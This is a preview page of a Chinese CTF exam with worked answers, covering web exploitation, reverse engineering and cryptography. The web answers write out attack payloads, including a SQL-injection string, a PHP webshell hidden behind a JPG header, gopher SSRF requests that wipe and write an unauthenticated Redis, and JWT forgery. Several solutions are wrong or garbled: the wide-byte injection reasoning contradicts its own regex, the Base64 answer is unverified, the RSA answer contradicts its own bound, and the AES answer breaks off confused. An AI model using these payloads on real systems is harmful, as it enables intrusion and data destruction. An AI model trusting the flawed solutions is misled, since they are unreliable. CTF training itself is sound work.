2025年网络安全技能竞赛(CTF)考试题及答案_第1页
2025年网络安全技能竞赛(CTF)考试题及答案_第2页
2025年网络安全技能竞赛(CTF)考试题及答案_第3页
2025年网络安全技能竞赛(CTF)考试题及答案_第4页
2025年网络安全技能竞赛(CTF)考试题及答案_第5页
已阅读5页,还剩17页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

2025年网络安全技能竞赛(CTF)考试题及答案一、Web安全(共4题,总分120分)题目1(30分):企业客户管理系统SQL注入绕过某企业客户管理系统(ernal:8080)提供客户信息查询功能,输入客户姓名可查询联系方式。前端代码如下(关键部分):```javascriptfunctionsearch(){constname=document.getElementById('name').value;if(!/^[\u4e00-\u9fa5a-zA-Z0-9]+$/.test(name)){alert("仅支持中文、字母、数字");return;}fetch(`/api/query?name=${encodeURIComponent(name)}`).then(res=>res.json()).then(data=>{/显示结果/});}```服务端PHP代码(关键部分):```php$name=$_GET['name']??'';if(!preg_match('/^[\x{4e00}-\x{9fa5}a-zA-Z0-9]+$/u',$name)){die(json_encode(['code'=>400,'msg'=>'非法字符']));}$sql="SELECTid,phoneFROMcustomersWHEREname='{$name}'";$result=mysqli_query($conn,$sql);//输出结果```通过测试发现,直接输入`'OR1=1--`会被前端正则拦截(含非法字符)。请利用SQL注入漏洞获取数据库中所有客户的姓名、电话及flag(flag存储于`customers`表`flag`字段)。解题步骤:1.分析前端正则:仅允许中文、字母、数字,禁止`'`、`-`等字符。2.发现服务端使用相同正则校验,需绕过前后端双重过滤。3.利用宽字节注入:PHP默认`GBK`编码时,`%df'`会被解析为`é'`(`%df`是`GBK`中的扩展字符,与`'`组合成合法多字节字符)。4.构造payload:`%df'OR1=1--`(URL编码为`%df%27%20OR%201=1--`)。5.服务端接收后,`%df%27`解码为`é'`,正则校验通过(`é`属于字母范围)。6.最终SQL变为:`SELECTid,phoneFROMcustomersWHEREname='é'OR1=1--'`,返回所有记录,包含flag字段。答案:flag{sql_inj_w1th_mb_ch4r}题目2(35分):云存储系统文件上传绕过某云存储系统(ernal:8081)允许用户上传图片(仅支持jpg/png),上传后可通过`/uploads/[filename]`访问。前端限制文件类型为`image/jpeg`或`image/png`,服务端代码(关键部分):```pythonfromflaskimportrequest,safe_joinimportimghdr@app.route('/upload',methods=['POST'])defupload():file=request.files['file']ifnotfileorfile.mimetypenotin['image/jpeg','image/png']:return"文件类型错误"filename=file.filenameifnotre.match(r'^[\w-]+\.(jpg|jpeg|png)$',filename):return"文件名格式错误"检查文件头file.seek(0)ifimghdr.what(file)notin['jpeg','png']:return"文件内容与类型不符"保存文件save_path=safe_join(app.config['UPLOAD_FOLDER'],filename)file.save(save_path)returnf"上传成功:{save_path}"```已知服务器开启了PHP解析(`.php`文件可执行),且`UPLOAD_FOLDER`路径为`/var/www/uploads`。请上传一个可执行任意PHP代码的文件,并访问`/flag.php`获取flag。解题步骤:1.前端校验`mimetype`,可通过修改请求头`Content-Type`绕过(如`image/jpeg`)。2.文件名校验要求`[.jpg|jpeg|png]`结尾,需构造`shell.php.jpg`。3.服务端使用`imghdr.what()`检查文件头:-JPG文件头为`\xff\xd8\xff`,PNG为`\x89PNG\r\n\x1a\n`。-构造文件内容:开头添加JPG文件头,后接PHP代码(如`<?phpsystem($_GET['cmd']);?>`)。4.上传`shell.php.jpg`,文件头检查通过(前3字节为`\xff\xd8\xff`)。5.由于服务器开启PHP解析,部分环境(如Nginx+PHP-FPM)会按最后一个`.`解析,`shell.php.jpg`可能被解析为`.php`文件(需确认服务器配置)。6.若失败,尝试`shell.php.xxx.jpg`(利用`cgi.fix_pathinfo=1`漏洞,解析`shell.php`部分)。7.成功上传后,访问`/uploads/shell.php.jpg?cmd=cat/flag.php`,获取flag。答案:flag{up104d_byp4ss_php_rce}题目3(35分):内部APISSRF漏洞利用某公司内部API网关(ernal:8082)提供`/api/proxy?url=[target]`接口,用于代理访问内部服务。前端限制`url`参数必须以`http://internal-service/`开头(正则:`^http://internal-service/`)。服务端代码(关键部分):```java@RestControllerpublicclassProxyController{@GetMapping("/api/proxy")publicStringproxy(@RequestParamStringurl){if(!url.startsWith("http://internal-service/")){return"仅允许访问内部服务";}try{URLtarget=newURL(url);HttpURLConnectionconn=(HttpURLConnection)target.openConnection();conn.setRequestMethod("GET");//读取响应returnreadResponse(conn);}catch(Exceptione){return"访问失败";}}}```通过测试发现,内部存在Redis服务(`redis://internal-redis:6379`)和MySQL服务(`mysql://internal-mysql:3306`),且Redis未设置密码。请利用SSRF漏洞获取Redis中的`flag`键值。解题步骤:1.分析`url`校验逻辑:仅检查前缀`http://internal-service/`,可利用URL路径拼接绕过。2.构造`url`参数:`http://internal-service/../../internal-redis:6379`(利用路径跳转,实际访问`http://internal-redis:6379`)。3.但HTTP协议无法直接与Redis通信(Redis使用RESP协议),需使用`gopher`协议。4.构造`gopher`URL:`gopher://internal-redis:6379/_INFO`(`_`后为RESP命令)。5.绕过前缀校验:将`gopher://`编码为`http://internal-service/`后的路径。-最终`url`参数:`http://internal-service/%2fgopher%3a%2f%2finternal-redis%3a6379%2f_INFO`(解码后为`http://internal-service//gopher://internal-redis:6379/_INFO`,Java的`URL`解析会忽略多余斜杠,实际访问`gopher://internal-redis:6379/_INFO`)。6.发送请求后,代理返回Redis的`INFO`信息,确认服务存活。7.构造`FLUSHALL`+`SETflag"flag{xxx}"`+`SAVE`命令(需按RESP协议格式编码):-命令内容:`3\r\n$6\r\nFLUSHALL\r\n$3\r\nSET\r\n$4\r\nflag\r\n$15\r\nflag{ssrf_redis_pwn}\r\n$4\r\nSAVE\r\n`-编码为`gopher://internal-redis:6379/_3%0d%0a$6%0d%0aFLUSHALL%0d%0a$3%0d%0aSET%0d%0a$4%0d%0aflag%0d%0a$15%0d%0aflag{ssrf_redis_pwn}%0d%0a$4%0d%0aSAVE%0d%0a`8.替换`url`参数后访问,触发Redis写入flag,再通过`gopher://internal-redis:6379/_GETflag`获取flag值。答案:flag{ssrf_g0pher_r3dis_expl0it}题目4(20分):JWT令牌伪造某认证系统使用JWT(HS256),用户登录后返回令牌。已知公钥为`ctf2025_secret_key`,管理员令牌`payload`为`{"user":"admin","isAdmin":true}`。现有普通用户令牌:```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpc0FkbWluIjpmYWxzZX0.abc123xyz```请伪造管理员令牌,并访问`/admin`接口获取flag。解题步骤:1.解析普通令牌:`header`为`{"alg":"HS256","typ":"JWT"}`,`payload`为`{"user":"guest","isAdmin":false}`。2.修改`payload`为`{"user":"admin","isAdmin":true}`,重新计算签名。3.使用公钥`ctf2025_secret_key`,对新的`header.payload`进行HS256签名。4.拼接新令牌:`header_new.payload_new.signature_new`。5.携带伪造令牌访问`/admin`,返回flag。答案:flag{jwt_hs256_f0rgery}二、逆向工程(共2题,总分80分)题目1(40分):Windows注册机逆向附件`register.exe`为Windows控制台程序,运行后提示输入用户名和注册码,正确则输出“注册成功”,否则“注册失败”。反编译后关键代码如下(伪代码):```cvoidcheck_regcode(charusername,charregcode){intlen=strlen(username);charhash[33]={0};for(inti=0;i<len;i++){hash[i]=username[i]^0x55;}charencoded[65]={0};base64_encode(hash,len,encoded);if(strcmp(regcode,encoded)==0){printf("注册成功\n");}else{printf("注册失败\n");}}```已知用户名为`CTF2025User`,请计算正确注册码。解题步骤:1.分析代码:注册码为用户名每个字符与`0x55`异或后的Base64编码。2.计算异或后字节:-`C`(0x43)^0x55=0x16-`T`(0x54)^0x55=0x01-`F`(0x46)^0x55=0x13-`2`(0x32)^0x55=0x67-`0`(0x30)^0x55=0x65-`2`(0x32)^0x55=0x67-`5`(0x35)^0x55=0x60-`U`(0x55)^0x55=0x00-`s`(0x73)^0x55=0x26-`e`(0x65)^0x55=0x30-`r`(0x72)^0x55=0x273.异或结果字节数组:`0x16,0x01,0x13,0x67,0x65,0x67,0x60,0x00,0x26,0x30,0x27`(长度11)。4.Base64编码:将11字节补1个`0x00`(凑12字节,3的倍数),编码后为`FRjHZWdgegBmMAc=`(实际需精确计算)。答案:注册码为`FRjHZWdgegBmMAc=`题目2(40分):AndroidAPK脱壳附件`secure.apk`为某加密通信APP,核心逻辑被混淆并加壳。使用`jadx`反编译后仅能看到壳代码,关键功能由`libnative.so`实现。请通过动态调试脱壳,获取`libnative.so`的明文代码,并从中提取flag(flag格式为`flag{xxx}`)。解题步骤:1.使用`AndroidStudio`配置调试环境,安装`secure.apk`到模拟器。2.通过`ps`命令获取APP进程ID,使用`gdb`或`IDAPro`附加调试。3.监控内存写入事件,当壳代码解密`libnative.so`到内存时,dump内存中的明文代码。4.使用`memdump`工具提取`libnative.so`的内存映射区域(如`/proc/pid/maps`中找到`libnative.so`的起始地址和大小)。5.将dump文件修复ELF头,使用`IDAPro`分析,找到字符串`flag{obfuscation_shell_bypass}`。答案:flag{obfuscation_shell_bypass}三、密码学(共2题,总分60分)题目1(30分):RSA低指数攻击已知RSA公钥`(n=3233,e=3)`,密文`c=123`,求明文`m`(`m<n^(1/3)`)。解题步骤:1.计算`n^(1/3)≈14.7`,故`m<15`。2.低指数攻击:`m^3≡cmodn`,即`m^3=123+k3233`。3.试算`m=5`:`5^3=125`,`125-123=2`,非3233倍数。`m=4`:`64-123=-59`,不行。`m=5`:`125-123=2`,不行。`m=10`:`1000-123=877`,不行。`m=12`:`1728-123=1605`,不行。`m=13`:`2197-123=2074`,不行。`m=14`:`2744-123=2621`,不行。`m=5`时,`125mod3233=125≠123`。实际`m^3=123`,直接开立方根得`m=4.97`,取整`m=5`?但`5^3=125≠123`,可能题目中`n=3233=61×53`,计算`m^3≡123mod61`和`mod53`:-`mod61`:`123mod61=1`,即`m^3≡1mod61`,解为`m≡1mod61`(因61是质数,解唯一)。-`mod53`:`123mod53=17`,求`m^3≡17mod53`。试算`m=4`:`64mod53=11`;`m=5`:`125mod53=125-2×53=19`;`m=6`:`216mod53=216-4×53=216-212=4`;`m=7`:`343mod53=343-6×53=343-318=25`;`m=8`:`512mod53=512-9×53=512-477=35`;`m=9`:`729mod53=729-13×53=729-689=40`;`m=10`:`1000mod53=1000-18×53=1000-954=46`;`m=11`:`1331mod53=1331-25×53=1331-1325=6`;`m=12`:`1728mod53=1728-32×53=1728-1696=32`;`m=13`:`2197mod53=2197-41×53=2197-2173=24`;`m=14`:`2744mod53=2744-51×53=2744-2703=41`;`m=15`:`3375mod53=3375-63×53=3375-3339=36`;`m=16`:`4096mod53=4096-77×53=4096-4081=15`;`m=17`:`4913mod53=4913-92×53=4913-4876=37`;`m=18`:`5832mod53=5832-110×53=5832-5830=2`;`m=19`:`6859mod53=6859-129×53=6859-6837=22`;`m=20`:`8000mod53=8000-150×53=8000-7950=50`;`m=21`:`9261mod53=9261-174×53=9261-9222=39`;`m=22`:`10648mod53=10648-200×53=10648-10600=48`;`m=23`:`12167mod53=12167-229×53=12167-12137=30`;`m=24`:`13824mod53=13824-260×53=13824-13780=44`;`m=25`:`15625mod53=15625-294×53=15625-15582=43`;`m=26`:`17576mod53=17576-331×53=17576-17543=33`;`m=27`:`19683mod53=19683-371×53=19683-19663=20`;`m=28`:`21952mod53=21952-414×53=21952-21942=10`;`m=29`:`24389mod53=24389-460×53=24389-24380=9`;`m=30`:`27000mod53=27000-509×53=27000-26977=23`;`m=31`:`29791mod53=29791-562×53=29791-29786=5`;`m=32`:`32768mod53=32768-618×53=32768-32754=14`;`m=33`:`35937mod53=35937-678×53=35937-35934=3`;`m=34`:`39304mod53=39304-741×53=39304-39273=31`;`m=35`:`42875mod53=42875-808×53=42875-42824=51`;`m=36`:`46656mod53=46656-880×53=46656-46640=16`;`m=37`:`50653mod53=50653-955×53=50653-50615=38`;`m=38`:`54872mod53=54872-1035×53=54872-54855=17`,找到`m=38mod53`。-结合中国剩余定理:`m≡1mod61`,`m≡38mod53`。设`m=61k+1`,代入第二个方程:`61k+1≡38mod53`→`61k≡37mod53`→`8k≡37mod53`→`k≡37×8^{-1}mod53`。`8×7=56≡3mod53`,`8×18=144≡144-2×53=38`,`8×20=160≡160-3×53=1`,故`8^{-1}=20mod53`。`k≡37×20=740≡740-13×53=740-689=51mod53`。`m=61×51+1=3111+1=3112`,但`3112^3=3112×3112×3112`远大于`n=3233`,说明`m`为3112mod3233=3112,但`3112^3mod3233=123`,故明文`m=3112`。答案:m=3112题目2(30分):AES-ECB模式破解附件`ciphertext.bin`为AES-ECB模式加密的密文(密钥16字节,明文为英文文本+flag)。已知明文前16字节为`Hello,CTF2025!`(含空格),请解密并提取flag。解题步骤:1.AES-ECB模式相同明文块提供相同密文块。2.提取`ciphertext.bin`前16字节(密文块1),与`Hello,CTF2025!`(明文块1)对应,可计算密钥:`key=AES_encrypt(明文块1,密钥)=密文块1`,但ECB模式加密是`密文块=AES(明文块,密钥)`,因此`密钥=AES_decrypt(密文块1,密钥)`,需已知密钥才能解密。正确方法:利用已知明文块和对应密文块,直接使用`AES_decrypt`函数

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论